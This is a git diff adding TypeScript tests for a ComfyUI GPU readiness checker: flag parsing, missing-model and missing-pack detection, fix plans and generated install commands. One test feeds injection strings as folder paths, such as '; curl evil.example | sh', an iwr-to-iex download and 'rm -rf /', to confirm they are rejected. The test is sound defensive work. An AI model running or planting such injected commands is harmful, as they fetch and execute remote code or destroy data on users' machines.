+ expect(comboOptions({ input: { required: { m: ["STRING", {}] } } }, "m")).toBeNull();
+ });
+});
diff --git a/tests/gpu-readiness.test.ts b/tests/gpu-readiness.test.ts
new file mode 100644
index 00000000..e249d8ab
--- /dev/null
+++ b/tests/gpu-readiness.test.ts
@@ -0,0 +1,343 @@
+import crypto from "node:crypto";
+import fs from "node:fs";
+import path from "node:path";
+import { describe, expect, it } from "vitest";
+import { parseArgv } from "@/lib/gpu/argv";
+import { emptyInventory } from "@/lib/gpu/gather";
+import { commandsFor, safePath } from "@/lib/gpu/commands";
+import { fixFromPromptError, isOutOfMemory } from "@/lib/gpu/fix-codes";
+import { etaRange, fixPlan, whyOf } from "@/lib/gpu/plan";
+import { badgeOf, filePresence, stepCount, toolReadiness, vramFit, workflowReadiness, worse } from "@/lib/gpu/readiness";
+import { compareVersions, parseIndex, sameName } from "@/lib/gpu/requirements";
+import type { GpuInventory, RequirementIndex } from "@/lib/gpu/types";
+import { resolveWorkflowId } from "@/lib/comfy-variants";
+
+const idx: RequirementIndex = parseIndex(JSON.parse(fs.readFileSync(path.join(process.cwd(), "workflows/comfyui/requirements.json"), "utf8")));
+const GB = 2 ** 30;
+
+/** An inventory with everything the given workflows need, on a card of `vram` GB. */
+function inventory(ids: string[], o: { vram?: number; type?: string; os?: string; version?: string } = {}): GpuInventory {
+ const inv = emptyInventory("server", 1);
+ inv.reachable = true;
+ inv.comfy = { version: o.version ?? "0.41.2", os: o.os ?? "posix", embeddedPython: false, deployEnv: "local-git", flags: parseArgv(["main.py"]) };
+ inv.devices = o.type === "none" ? [] : [{ name: "cuda:0 NVIDIA GeForce RTX 4090 : cudaMallocAsync", type: o.type ?? "cuda", index: 0, vramTotal: (o.vram ?? 24) * GB, vramFree: 0 }];
+ inv.manager = { api: "none" };
+ inv.nodes = { have: [], missing: [], total: 0, readAt: 1, how: "object_info" };
+ const all = new Set<string>();
+ for (const w of Object.values(idx.workflows)) {
+ w.core.forEach((c) => all.add(c));
+ Object.values(w.packs).forEach((cs) => cs.forEach((c) => all.add(c)));
+ }
+ const have = new Set<string>();
+ for (const id of ids) {
+ const w = idx.workflows[id];
+ w.core.forEach((c) => have.add(c));
+ Object.values(w.packs).forEach((cs) => cs.forEach((c) => have.add(c)));
+ }
+ inv.nodes.have = [...all].filter((c) => have.has(c));
+ inv.nodes.missing = [...all].filter((c) => !have.has(c));
+ for (const folder of idx.folders) inv.models[folder] = { have: {}, total: 0 };
+ for (const id of ids)
+ for (const k of idx.workflows[id].files) {
+ const f = idx.files[k];
+ inv.models[f.folder].have[f.file] = f.sizeBytes;
+ for (const [cls, input] of f.loaders ?? []) (inv.combos[`${cls}.${input}`] ??= []).push(f.file);
+ }
+ // Loader combos for every loader the index reads (empty unless a file is there).
+ for (const f of Object.values(idx.files)) for (const [cls, input] of f.loaders ?? []) inv.combos[`${cls}.${input}`] ??= [];
+ return inv;
+}
+
+const Z = "z-image-turbo-t2i";
+const ctx = { account: true };
+
+describe("launch flags (§6.1)", () => {
+ it("reads --flag value and --flag=value", () => {
+ expect(parseArgv(["main.py"]).loopbackOnly).toBe(true);
+ expect(parseArgv(["main.py"]).listen).toBeNull();
+ expect(parseArgv(["main.py", "--listen"]).listen).toBe("0.0.0.0,::");
+ expect(parseArgv(["main.py", "--listen", "--port", "8188"]).loopbackOnly).toBe(false);
+ expect(parseArgv(["main.py", "--listen", "127.0.0.1"]).loopbackOnly).toBe(true);
+ expect(parseArgv(["main.py", "--listen=127.0.0.1,::1"]).loopbackOnly).toBe(true);
+ expect(parseArgv(["main.py", "--listen=0.0.0.0"]).loopbackOnly).toBe(false);
+ expect(parseArgv(["main.py", "--enable-cors-header"]).corsOrigin).toBe("*");
+ expect(parseArgv(["main.py", "--enable-cors-header", "https://fuobe.com"]).corsOrigin).toBe("https://fuobe.com");
+ expect(parseArgv(["main.py", "--enable-cors-header=https://x.example"]).corsOrigin).toBe("https://x.example");
+ expect(parseArgv(["main.py", "--enable-manager"]).enableManager).toBe(true);
+ expect(parseArgv(["main.py", "--enable-manager-legacy-ui"])).toMatchObject({ enableManager: false, managerLegacyUi: true });
+ expect(parseArgv(["main.py", "--lowvram"]).lowvram).toBe(true);
+ expect(parseArgv(["main.py", "--novram"]).lowvram).toBe(true);
+ expect(parseArgv(["main.py", "--cpu"]).cpuOnly).toBe(true);
+ expect(parseArgv("not a list").loopbackOnly).toBe(true);
+ });
+});
+
+describe("readiness (§7)", () => {
+ it("is ready when everything is there, and unknown when ComfyUI didn't answer", () => {
+ expect(workflowReadiness(Z, inventory([Z]), idx, ctx).state).toBe("ready");
+ const off = inventory([Z]);
+ off.reachable = false;
+ expect(workflowReadiness(Z, off, idx, ctx).state).toBe("unknown");
+ });
+
+ it("grades graphics memory: 12 GB, 24 GB, 32 GB, CPU only and Apple", () => {
+ expect(vramFit(24, inventory([], { vram: 12 })).fit).toBe("no");
+ expect(vramFit(24, inventory([], { vram: 24 })).fit).toBe("fits");
+ expect(vramFit(24, inventory([], { vram: 32 })).fit).toBe("fits");
+ expect(vramFit(24, inventory([], { type: "cpu" })).fit).toBe("no");
+ expect(vramFit(0, inventory([], { type: "cpu" })).fit).toBe("any");
+ expect(vramFit(16, inventory([], { type: "mps", vram: 32 }))).toMatchObject({ fit: "fits", apple: true });
+ });
+
+ it("has a tight band from 0.66 × the need up to the need", () => {
+ const need = 25;
+ const at = (gb: number) => vramFit(need, inventory([], { vram: gb })).fit;
+ expect(at(need * 0.66)).toBe("tight");
+ expect(at(need * 0.66 - 0.5)).toBe("no");
+ expect(at(need)).toBe("fits");
+ });
+
+ it("never blocks on graphics memory alone: a short card is 'gpu', not a step", () => {
+ const r = workflowReadiness(Z, inventory([Z], { vram: 4 }), idx, ctx);
+ expect(r.state).toBe("gpu");
+ expect(r.needs).toEqual([]);
+ });
+
+ it("says update ComfyUI only when it is older than the minimum, else names the built-in nodes that didn't load", () => {
+ const w = idx.workflows[Z];
+ const old = inventory([Z], { version: "0.3.40" });
+ old.nodes.missing.push(w.core[0]);
+ old.nodes.have = old.nodes.have.filter((c) => c !== w.core[0]);
+ expect(workflowReadiness(Z, old, idx, ctx).needs[0].kind).toBe("comfy-update");
+ const fresh = inventory([Z]);
+ fresh.nodes.missing.push(w.core[0]);
+ fresh.nodes.have = fresh.nodes.have.filter((c) => c !== w.core[0]);
+ const need = workflowReadiness(Z, fresh, idx, ctx).needs[0];
+ expect(need.kind).toBe("core-missing");
+ expect(need.detail).toMatch(/IMPORT FAILED/);
+ });
+
+ it("tells a missing pack, an installed one waiting for a restart, a partial one and a broken one apart", () => {
+ const id = Object.keys(idx.workflows).find((k) => Object.keys(idx.workflows[k].packs).length === 1 && Object.values(idx.workflows[k].packs)[0].length >= 2 && !idx.workflows[k].isolated)!;
+ const [pack, classes] = Object.entries(idx.workflows[id].packs)[0];
+ const without = () => {
+ const inv = inventory([id]);
+ inv.nodes.have = inv.nodes.have.filter((c) => !classes.includes(c));
+ inv.nodes.missing.push(...classes);
+ return inv;
+ };
+ const kinds = (inv: GpuInventory) => workflowReadiness(id, inv, idx, ctx).needs.map((n) => n.kind);
+ expect(kinds(without())).toEqual(expect.arrayContaining(["pack-install", "restart"]));
+ const installed = without();
+ installed.packs[pack] = { dir: pack, enabled: true };
+ expect(kinds(installed)).toEqual(["restart"]);
+ expect(stepCount(workflowReadiness(id, installed, idx, ctx).needs)).toBe(1);
+ const broken = without();
+ broken.packs[pack] = { dir: pack, enabled: true, importError: "Traceback…" };
+ expect(kinds(broken)).toContain("pack-repair");
+ const partial = inventory([id]);
+ partial.nodes.have = partial.nodes.have.filter((c) => c !== classes[0]);
+ partial.nodes.missing.push(classes[0]);
+ expect(kinds(partial)).toContain("pack-update");
+ });
+
+ it("finds files by their loader, in subfolders, with the letter case the OS uses", () => {
+ const inv = inventory([]);
+ const f = idx.files[idx.workflows[Z].files[0]];
+ const [cls, input] = f.loaders![0];
+ inv.combos[`${cls}.${input}`] = [f.file];
+ expect(filePresence(f, inv)).toBe("present");
+ // Listing only (no loader read): a subfolder name counts, case by OS.
+ const listed = inventory([]);
+ listed.combos = {};
+ listed.models[f.folder].have[f.file] = f.sizeBytes;
+ expect(filePresence(f, listed)).toBe("present");
+ expect(sameName("nt")("A.safetensors", "a.SAFETENSORS")).toBe(true);
+ expect(sameName("posix")("A.safetensors", "a.safetensors")).toBe(false);
+ });
+
+ it("says a short file is a partial download", () => {
+ const inv = inventory([Z]);
+ const f = idx.files[idx.workflows[Z].files[0]];
+ inv.models[f.folder].have[f.file] = Math.floor(f.sizeBytes * 0.5);
+ const r = workflowReadiness(Z, inv, idx, ctx);
+ expect(r.needs.map((n) => n.kind)).toContain("model-replace");
+ });
+
+ it("never counts what wasn't read as missing (R11)", () => {
+ const inv = inventory([]);
+ inv.combos = {};
+ inv.models = {};
+ inv.nodes = { have: [], missing: [], total: 0, readAt: 1, how: "per-class" };
+ expect(workflowReadiness(Z, inv, idx, ctx).state).toBe("ready");
+ });
+
+ it("puts a pack's model after the pack: not an error while its folder isn't there yet", () => {
+ const id = Object.keys(idx.workflows).find((k) => idx.workflows[k].files.some((f) => idx.files[f].packFolder) && !idx.workflows[k].isolated)!;
+ const inv = inventory([]);
+ const r = workflowReadiness(id, inv, idx, ctx);
+ expect(r.needs.some((n) => n.kind === "model")).toBe(true);
+ const plan = fixPlan(toolReadiness(`workflow:${id}`, id, [id], [], inv, idx, ctx), inv, idx, { hash: (s) => s.length.toString(), urlHash: "u", account: true });
+ const order = plan.steps.map((s) => s.kind);
+ expect(order.lastIndexOf("pack-install")).toBeLessThan(order.indexOf("model"));
+ });
+
+ it("asks for the licence of gated files", () => {
+ const gated = Object.entries(idx.files).find(([, f]) => f.gated)!;
+ const id = Object.keys(idx.workflows).find((k) => idx.workflows[k].files.includes(gated[0] as never))!;
+ const r = workflowReadiness(id, inventory([]), idx, ctx);
+ expect(r.needs.some((n) => n.kind === "hf-licence")).toBe(true);
+ });
+
+ it("isolated workflows: unsupported on an account's GPU; the owner without a worker gets a step", () => {
+ const id = Object.keys(idx.workflows).find((k) => idx.workflows[k].isolated)!;
+ expect(workflowReadiness(id, inventory([id]), idx, { account: true }).state).toBe("unsupported");
+ expect(workflowReadiness(id, inventory([id]), idx, { account: false }).needs.map((n) => n.kind)).toContain("isolated-worker");
+ expect(workflowReadiness(id, inventory([id]), idx, { account: false, isolatedUrl: true }).needs).toEqual([]);
+ });
+
+ it("deduplicates across workflows, adds LoRAs and keeps the first-run notes", () => {
+ const ids = ["z-image-turbo-t2i", "z-image-turbo-i2i"].filter((k) => idx.workflows[k]);
+ const inv = inventory([]);
+ const t = toolReadiness("model:oss-z-image-turbo#t2i", "Z-Image Turbo", ids, [{ file: "look.safetensors", download: "direct", url: "https://huggingface.co/a/b/resolve/main/look.safetensors", sizeBytes: 1e8 }], inv, idx, ctx);
+ const keys = t.needs.map((n) => n.key);
+ expect(new Set(keys).size).toBe(keys.length);
+ expect(keys).toContain("lora:look.safetensors");
+ const civitai = toolReadiness("preset:x", "X", ids, [{ file: "c.safetensors", download: "civitai-token", url: "https://civitai.com/api/download/models/1" }], inv, idx, ctx);
+ const plan = fixPlan(civitai, inv, idx, { hash: () => "h", urlHash: "u", account: true, loras: [{ file: "c.safetensors", download: "civitai-token", url: "https://civitai.com/api/download/models/1" }] });
+ expect(plan.steps.find((s) => s.kind === "civitai-key")).toBeTruthy();
+ expect(plan.steps.find((s) => s.kind === "lora")?.why).toBe("civitai-key");
+ });
+
+ it("ranks states worst first and encodes badges", () => {
+ expect(worse("ready", "almost")).toBe("almost");
+ expect(worse("gpu", "setup")).toBe("gpu");
+ expect(worse("unknown", "unsupported")).toBe("unknown");
+ const t = toolReadiness("model:oss-z-image-turbo#t2i", "Z", [Z], [], inventory([]), idx, ctx);
+ const b = badgeOf(t)!;
+ expect(["a", "s"]).toContain(b[0]);
+ expect(b[2]).toBe(Math.round(t.downloadBytes / 1e8));
+ const unknown = inventory([]);
+ unknown.reachable = false;
+ expect(badgeOf(toolReadiness("model:x#t2i", "X", [Z], [], unknown, idx, ctx))).toBeNull();
+ expect(compareVersions("0.41.2", "0.41.0")).toBeGreaterThan(0);
+ expect(compareVersions("v0.3.75", "0.41.0")).toBeLessThan(0);
+ });
+});
+
+describe("fix plans (§8)", () => {
+ const missing = () => toolReadiness("model:oss-z-image-turbo#t2i", "Z-Image Turbo", [Z], [], inventory([]), idx, ctx);
+
+ it("estimates the time at 100 and 25 MB/s, rounded up", () => {
+ expect(etaRange(0)).toEqual([0, 0]);
+ expect(etaRange(12.3e9)).toEqual([3, 9]);
+ });
+
+ it("gives the same hash for the same plan, and a new one when anything changes", () => {
+ const sha = (s: string) => crypto.createHash("sha256").update(s).digest("hex");
+ const inv = inventory([]);
+ const a = fixPlan(missing(), inv, idx, { hash: sha, urlHash: "u1", account: true });
+ const b = fixPlan(missing(), inv, idx, { hash: sha, urlHash: "u1", account: true });
+ expect(a.planHash).toBe(b.planHash);
+ expect(fixPlan(missing(), inv, idx, { hash: sha, urlHash: "u2", account: true }).planHash).not.toBe(a.planHash);
+ const fewer = { ...missing(), needs: missing().needs.slice(1) };
+ expect(fixPlan(fewer, inv, idx, { hash: sha, urlHash: "u1", account: true }).planHash).not.toBe(a.planHash);
+ });
+
+ it("is manual in P1, and says why the way §8.2 would", () => {
+ const inv = inventory([]);
+ const p = fixPlan(missing(), inv, idx, { hash: () => "h", urlHash: "u", account: true });
+ expect(p.oneClick).toBe("none");
+ expect(p.steps.every((s) => s.via === "manual")).toBe(true);
+ expect(p.why).toBe("no-manager");
+ const model = p.steps.find((s) => s.kind === "model")!;
+ inv.manager = { api: "v3" };
+ expect(whyOf(model, inv, idx)).toBe("manager-v3-model-list");
+ inv.manager = { api: "v4" };
+ expect(whyOf(model, inv, idx)).toBe("manual-only");
+ inv.comfy!.flags = parseArgv(["main.py", "--listen"]);
+ expect(whyOf(model, inv, idx)).toBe("listen-all");
+ const pack = { key: "pack:ComfyUI-KJNodes", kind: "pack-install" as const, label: "", detail: "", pack: "ComfyUI-KJNodes" };
+ expect(whyOf(pack, inv, idx)).toBe("no-validated-version");
+ expect(whyOf({ ...pack, pack: "h3_character_swap" }, inv, idx)).toBe("subfolder-pack");
+ inv.manager = { api: "none" };
+ expect(whyOf(pack, inv, idx)).toBe("no-manager");
+ });
+
+ it("never offers the cloud to an account, and never carries a token", () => {
+ const t = { ...missing(), cloud: { modelId: "oss-z-image-turbo" } };
+ expect(fixPlan(t, inventory([]), idx, { hash: () => "h", urlHash: "u", account: true }).alternatives.cloud).toBeUndefined();
+ expect(fixPlan(t, inventory([]), idx, { hash: () => "h", urlHash: "u", account: false }).alternatives.cloud).toEqual({ modelId: "oss-z-image-turbo" });
+ const p = fixPlan(missing(), inventory([]), idx, { hash: () => "h", urlHash: "u", account: true, loras: [{ file: "c.safetensors", download: "civitai-token", url: "https://civitai.com/api/download/models/1?token=SECRET" }] });
+ expect(JSON.stringify(p)).not.toMatch(/token=|SECRET/);
+ });
+});
+
+describe("commands (§8.3, review item 4)", () => {
+ const steps = [{ kind: "model" as const, file: idx.workflows[Z].files[0] }, { kind: "pack-install" as const, pack: "ComfyUI-KJNodes" }, { kind: "restart" as const }];
+
+ it("use $COMFY / $env:COMFY when the folders aren't known", () => {
+ const c = commandsFor(steps, { inv: inventory([]), idx });
+ expect(c.bash).toMatch(/^COMFY="\$HOME\/ComfyUI"/);
+ expect(c.bash).toMatch(/curl -L -C - --fail -o "\$COMFY\/models\//);
+ expect(c.bash).toMatch(/git clone https:\/\/github.com\/kijai\/ComfyUI-KJNodes "\$COMFY\/custom_nodes\/ComfyUI-KJNodes"/);
+ expect(c.bash).toMatch(/git -C "\$COMFY\/custom_nodes\/ComfyUI-KJNodes" checkout [0-9a-f]{40}/);
+ expect(c.powershell).toMatch(/^\$env:COMFY = "C:\\ComfyUI"/);
+ expect(c.powershell).toMatch(/curl\.exe -L -C - --fail -o "\$env:COMFY\\models\\/);
+ expect(c.bash).toContain("Press Ctrl+C");
+ });
+
+ it("use the real folders when ComfyUI names them, quoted, and the portable Python", () => {
+ const inv = inventory([]);
+ const f = idx.files[idx.workflows[Z].files[0]];
+ inv.comfy = { ...inv.comfy!, os: "nt", embeddedPython: true, modelRoots: { [f.folder]: [`C:\\ComfyUI_windows_portable\\ComfyUI\\models\\${f.folder}`] } };
+ const c = commandsFor(steps, { inv, idx });
+ expect(c.powershell).toContain(`'C:\\ComfyUI_windows_portable\\ComfyUI\\models\\${f.folder}\\${f.file}'`);
+ expect(c.powershell).toContain("& 'C:\\ComfyUI_windows_portable\\ComfyUI\\..\\python_embeded\\python.exe' -m pip install -r");
+ expect(c.powershell).not.toContain("$env:COMFY =");
+ expect(c.powershell).toContain("run_nvidia_gpu.bat");
+ });
+
+ it("fall back to $COMFY for hostile folder paths", () => {
+ for (const bad of ['C:\\m"; iwr https://x/p | iex; "', "/home/$(whoami)/models", "/a;rm -rf /", "C:\\a`b", "/x\nrm"]) expect(safePath(bad)).toBeNull();
+ const inv = inventory([]);
+ const f = idx.files[idx.workflows[Z].files[0]];
+ inv.comfy = { ...inv.comfy!, modelRoots: { [f.folder]: ['/srv/m"; curl evil.example | sh; "'], vae: ['C:\\m"; iwr https://x/p | iex; "'] } };
+ const c = commandsFor(steps, { inv, idx });
+ expect(c.bash).not.toMatch(/evil|iwr/);
+ expect(c.powershell).not.toMatch(/evil|iwr/);
+ expect(c.bash).toContain('"$COMFY/models/');
+ });
+
+ it("read tokens from the environment for gated files", () => {
+ const gated = Object.keys(idx.files).find((k) => idx.files[k as keyof typeof idx.files].gated)!;
+ const c = commandsFor([{ kind: "model", file: gated }], { inv: inventory([]), idx });
+ expect(c.bash).toContain('-H "Authorization: Bearer $HF_TOKEN"');
+ expect(c.powershell).toContain('-H "Authorization: Bearer $env:HF_TOKEN"');
+ });
+});
+
+describe("failed runs get a code (§13.2)", () => {
+ it("names the missing model or node class", () => {
+ const f = idx.files[idx.workflows[Z].files[0]];
+ const model = fixFromPromptError({ node_errors: { "3": { class_type: "UNETLoader", errors: [{ message: "Value not in list", extra_info: { received_value: f.file } }] } } }, Z, [{ file: f.file, folder: f.folder }], () => undefined);
+ expect(model).toEqual({ code: "comfy_missing_model", workflowId: Z, items: [{ folder: f.folder, file: f.file }] });
+ const node = fixFromPromptError({ error: { type: "missing_node_type", message: "Node 'GrowMaskWithBlur' not found", extra_info: { class_type: "GrowMaskWithBlur" } } }, "w", [], () => "ComfyUI-KJNodes");
+ expect(node).toEqual({ code: "comfy_missing_node", workflowId: "w", items: [{ class: "GrowMaskWithBlur", pack: "ComfyUI-KJNodes" }] });
+ expect(isOutOfMemory("torch.OutOfMemoryError: CUDA out of memory")).toBe(true);
+ });
+});
+
+describe("variants resolve as prepareWorkflow runs them", () => {
+ const has = (id: string) => !!idx.workflows[id];
+ const base = { op: "i2v", clips: 0, images: 1, audio2: false, extra: {}, has };
+ it("picks the pose, the product shot, EXR frames, the single-track mux and the clip count", () => {
+ expect(resolveWorkflowId("wan22-i2v-14b", { ...base, extra: { cameraMotion: "dolly-in" } })).toBe("wan22-fun-camera-14b");
+ expect(resolveWorkflowId("wan22-i2v-14b", base)).toBe("wan22-i2v-14b");
+ expect(resolveWorkflowId("qwen-image-edit-2511-multi", { ...base, op: "edit", extra: { productShot: true } })).toBe("product-shot-qwen-edit-2509");
+ expect(resolveWorkflowId("qwen-image-edit-2511-multi", { ...base, op: "edit", images: 2, extra: { productShot: true } })).toBe("qwen-image-edit-2511-multi");
+ expect(resolveWorkflowId("video-concat-{n}", { ...base, op: "concat", clips: 3 })).toBe("video-concat-3");
+ if (has("video-mux-audio-replace")) expect(resolveWorkflowId("video-mux-audio", { ...base, op: "mux" })).toBe("video-mux-audio-replace");
+ if (has("video-export-exr")) expect(resolveWorkflowId("video-export-pro-chunked", { ...base, op: "export-video", format: "exr" })).toBe("video-export-exr");
+ });
+});
diff --git a/tests/gpu-requirements.test.ts b/tests/gpu-requirements.test.ts
new file mode 100644
index 00000000..d4b8dbb7
--- /dev/null
+++ b/tests/gpu-requirements.test.ts
@@ -0,0 +1,151 @@
+import fs from "node:fs";
+import path from "node:path";
+import zlib from "node:zlib";
+import { describe, expect, it } from "vitest";
+import { buildIndex, hfParts, indexHash, loadInputs, PT_EXTENSIONS } from "../scripts/comfy/build-requirements.mjs";
+import { CUSTOM_NODE_REPOS } from "../scripts/comfy/library.spec.mjs";
+import type { Manifest } from "@/lib/comfy";
+import type { RequirementIndex } from "@/lib/gpu/types";
+
+/** The GPU pre-flight's requirement index (workflows/comfyui/requirements.json) against the library it is built from. */
+
+const LIBRARY = path.join(process.cwd(), "workflows/comfyui");
+const read = (f: string) => fs.readFileSync(path.join(LIBRARY, f), "utf8");
+const text = read("requirements.json");
+const index = JSON.parse(text) as RequirementIndex;
+const manifest = JSON.parse(read("manifest.json")) as Manifest;
+type PackPin = { repo: string; commit: string; registry: { id: string; version: string } | null; subdir: string | null; folders: string[]; isolated: boolean };
+const packs = JSON.parse(read("packs.json")) as Record<string, PackPin>;
+const pins = JSON.parse(read("model-pins.json")) as Record<string, { revision: string; sizeBytes: number; sha256?: string }>;
+const script = (f: string) => fs.readFileSync(path.join(process.cwd(), "scripts/comfy", f), "utf8");
+/** `[Name]="repo commit"` and `NODES[Name]="repo commit"` lines of an install script. */
+const scriptPins = (sh: string) => Object.fromEntries([...sh.matchAll(/\[([^\]]+)\]="(\S+) ([0-9a-f]{40})"/g)].map((m) => [m[1], { repo: m[2], commit: m[3] }]));
+const files = Object.entries(index.files);
+
+describe("requirements.json", () => {
+ it("is what build-requirements.mjs makes of the committed library (run node scripts/comfy/build-requirements.mjs)", () => {
+ const fresh = buildIndex(loadInputs(LIBRARY));
+ expect(index).toEqual(fresh);
+ expect(index.hash).toBe(indexHash(index));
+ });
+
+ it("covers every workflow, file and pack of the manifest", () => {
+ expect(Object.keys(index.workflows).sort()).toEqual(manifest.workflows.map((w) => w.id).sort());
+ const keys = new Set(manifest.workflows.flatMap((w) => w.models.map((m) => `${m.folder}/${m.file}`)));
+ expect(Object.keys(index.files).sort()).toEqual([...keys].sort());
+ for (const w of manifest.workflows) for (const n of w.customNodes) expect(packs[n.name], `${w.id}: ${n.name} in packs.json`).toBeDefined();
+ expect(Object.keys(index.packs).sort()).toEqual([...new Set(manifest.workflows.flatMap((w) => w.customNodes.map((n) => n.name)))].sort());
+ });
+
+ it("puts every class of every graph in core or in a pack, and the pack is the one the manifest names", () => {
+ for (const w of manifest.workflows) {
+ const graph = JSON.parse(read(w.file)) as Record<string, { class_type: string }>;
+ const iw = index.workflows[w.id];
+ const placed = [...iw.core, ...Object.values(iw.packs).flat()];
+ expect(new Set(placed).size, w.id).toBe(placed.length);
+ expect(placed.sort(), w.id).toEqual([...new Set(Object.values(graph).map((n) => n.class_type))].sort());
+ expect(Object.keys(iw.packs).sort(), w.id).toEqual(w.customNodes.map((n) => n.name).sort());
+ for (const [p, classes] of Object.entries(iw.packs)) for (const c of classes) expect(index.packs[p].classes, `${w.id}: ${c}`).toContain(c);
+ }
+ });
+
+ it("pins every file to a size, a Hugging Face URL and (unless gated) a revision", () => {
+ for (const [key, f] of files) {
+ expect(f.sizeBytes, key).toBeGreaterThan(0);
+ expect(f.pinnedUrl, key).toBeTruthy();
+ expect(hfParts(f.url), key).not.toBeNull();
+ const rev = hfParts(f.pinnedUrl)!.rev;
+ // Only gated files can't be read without a token: they keep the plain URL until a maintainer refreshes with HF_TOKEN.
+ if (!f.gated) expect(rev, key).toMatch(/^[0-9a-f]{40}$/);
+ if (f.sha256) expect(f.sha256, key).toMatch(/^[0-9a-f]{64}$/);
+ }
+ for (const [url, p] of Object.entries(pins)) {
+ expect(p.revision, url).toMatch(/^[0-9a-f]{40}$/);
+ expect(p.sizeBytes, url).toBeGreaterThan(0);
+ }
+ });
+
+ it("downloads only from huggingface.co", () => {
+ const hosts = new Set(files.flatMap(([, f]) => [new URL(f.url).host, new URL(f.pinnedUrl).host]));
+ expect([...hosts]).toEqual(["huggingface.co"]);
+ });
+
+ it("marks exactly the LTX-2.5 files as gated", () => {
+ const gated = files.filter(([, f]) => f.gated).map(([k]) => k);
+ expect(gated.sort()).toEqual(files.filter(([, f]) => f.url.includes("/Lightricks/LTX-2.5/")).map(([k]) => k).sort());
+ expect(gated.length).toBeGreaterThan(0);
+ });
+
+ it("says how each file is seen: its loader's list, the folder listing, or not at all", () => {
+ for (const [key, f] of files) {
+ if (f.presence === "loader") {
+ expect(f.loaders?.length, key).toBeGreaterThan(0);
+ } else {
+ expect(f.loaders, key).toBeUndefined();
+ if (f.presence === "list") expect(PT_EXTENSIONS, key).toContain(path.extname(f.file).toLowerCase());
+ }
+ }
+ // A .gguf or .onnx never shows in /experiment/models: it is checked through its loader.
+ for (const [key, f] of files.filter(([, f]) => /\.(gguf|onnx)$/.test(f.file))) expect(f.presence, key).toBe("loader");
+ });
+
+ it("names the pack that registers a pack-only model folder", () => {
+ for (const [key, f] of files) {
+ const owner = Object.entries(packs).find(([, p]) => p.folders.includes(f.folder))?.[0];
+ expect(f.packFolder, key).toBe(owner);
+ }
+ expect(index.files["mmaudio/mmaudio_large_44k_v2_fp16.safetensors" as keyof typeof index.files].packFolder).toBe("ComfyUI-MMAudio");
+ });
+
+ it("reads every pack's classes one by one when /object_info can't be read", () => {
+ for (const p of Object.values(index.packs)) for (const c of p.classes) expect(index.sentinels).toContain(c);
+ expect(index.sentinels).toContain("ComfyMathExpression");
+ });
+
+ it("installs every pack by hand until a registry version is validated", () => {
+ for (const [name, p] of Object.entries(index.packs)) expect(p.install, name).toBe(p.registry?.version ? "registry" : "manual");
+ expect(index.packs.h3_character_swap.subdir).toBe("worker_nodes/h3_character_swap");
+ expect(index.packs["ComfyUI-ThinkSound_Wrapper"].isolated).toBe(true);
+ });
+
+ it("stays within its size budget (200 KB, 25 KB gzipped)", () => {
+ expect(Buffer.byteLength(text)).toBeLessThanOrEqual(200 * 1024);
+ expect(zlib.gzipSync(text).length).toBeLessThanOrEqual(25 * 1024);
+ });
+});
+
+describe("packs.json: the single source of pack pins", () => {
+ it("equals the install scripts' pins", () => {
+ const main = scriptPins(script("install-comfyui.sh"));
+ const isolated = scriptPins(script("install-isolated-worker.sh"));
+ for (const [name, pin] of Object.entries({ ...main, ...isolated })) {
+ expect(packs[name], name).toBeDefined();
+ expect({ repo: packs[name].repo, commit: packs[name].commit }, name).toEqual(pin);
+ }
+ for (const name of Object.keys(isolated)) if (!main[name]) expect(packs[name].isolated, name).toBe(true);
+ // The H3 packs are pinned by variables (H3_TOOL_REF, H3_RELAY_REF) and cloned from their repos.
+ const sh = script("install-comfyui.sh");
+ expect(sh).toContain(`H3_TOOL_REF="\${H3_TOOL_REF:-${packs.h3_character_swap.commit}}"`);
+ expect(sh).toContain(`H3_RELAY_REF="\${H3_RELAY_REF:-${packs["h3-relay"].commit}}"`);
+ expect(sh).toContain(packs.h3_character_swap.repo);
+ expect(sh).toContain(packs["h3-relay"].repo);
+ });
+
+ it("equals library.spec.mjs CUSTOM_NODE_REPOS (the manifest's repo addresses)", () => {
+ const repos = CUSTOM_NODE_REPOS as Record<string, string>;
+ expect(Object.keys(repos).sort()).toEqual(Object.keys(packs).sort());
+ for (const [name, url] of Object.entries(repos)) {
+ const tree = /^(https:\/\/github\.com\/[^/]+\/[^/]+)\/tree\/([0-9a-f]{40})(?:\/(.+))?$/.exec(url);
+ if (tree) {
+ expect({ repo: packs[name].repo, commit: packs[name].commit, subdir: packs[name].subdir }, name).toEqual({ repo: tree[1], commit: tree[2], subdir: tree[3] ?? null });
+ } else {
+ expect(packs[name].repo, name).toBe(url);
+ }
+ }
+ });
+
+ it("no longer installs the SeedVR2 pack (SeedVR2 is part of core ComfyUI)", () => {
+ expect(packs["ComfyUI-SeedVR2_VideoUpscaler"]).toBeUndefined();
+ expect(script("install-comfyui.sh")).not.toContain("ComfyUI-SeedVR2_VideoUpscaler");
+ });
+});
diff --git a/tests/helpers/fake-comfy.ts b/tests/helpers/fake-comfy.ts
new file mode 100644
index 00000000..816fea24
--- /dev/null
+++ b/tests/helpers/fake-comfy.ts
@@ -0,0 +1,232 @@
+import http from "node:http";
+import zlib from "node:zlib";
+
+/**
+ * A stand-in ComfyUI (core read routes, under "/" and "/api") with ComfyUI-Manager v4 or v3 read routes, for the
+ * GPU pre-flight tests (SPEC §17.2, the read-only part P1 needs). Every request is logged, so a test can prove the
+ * probe only reads (R8). Plain Node and type annotations only, so a smoke script can run it with `node`.
+ */
+
+export interface FakeScenario {
+ version?: string;
+ os?: string;
+ embeddedPython?: boolean;
+ deployEnv?: string;
+ argv?: string[];
+ devices?: { name: string; type: string; vramGb: number }[];
+ ramGb?: number;
+ /** Node classes that are loaded. */
+ classes: string[];
+ /** class → input → the combo's options (a loader's file list). */
+ combos?: Record<string, Record<string, string[]>>;
+ /** Use the new combo shape ["COMBO", {options}] instead of the legacy [[...]]. */
+ newCombos?: boolean;
+ /** folder → files (relative names, sizes in bytes). */
+ files?: Record<string, { name: string; size: number }[]>;
+ /** Folders GET /models lists (default: the keys of `files`). */
+ folders?: string[];
+ roots?: Record<string, string[]>;
+ auth?: { header: string; value: string };
+ apiPrefixOnly?: boolean;
+ /** Extra fake classes, to make /object_info this many bytes bigger. */
+ objectInfoPadBytes?: number;
+ /** /object_info answers this status instead. */
+ objectInfoStatus?: number;
+ /** path → delay before answering, in ms. */
+ slow?: Record<string, number>;
+ /** Paths that send one byte at a time, forever. */
+ drip?: string[];
+ /** Folder listings under /experiment/models 404 (an older ComfyUI). */
+ noExperiment?: boolean;
+ manager?: {
+ api: "v4" | "v3" | "none";
+ version?: string;
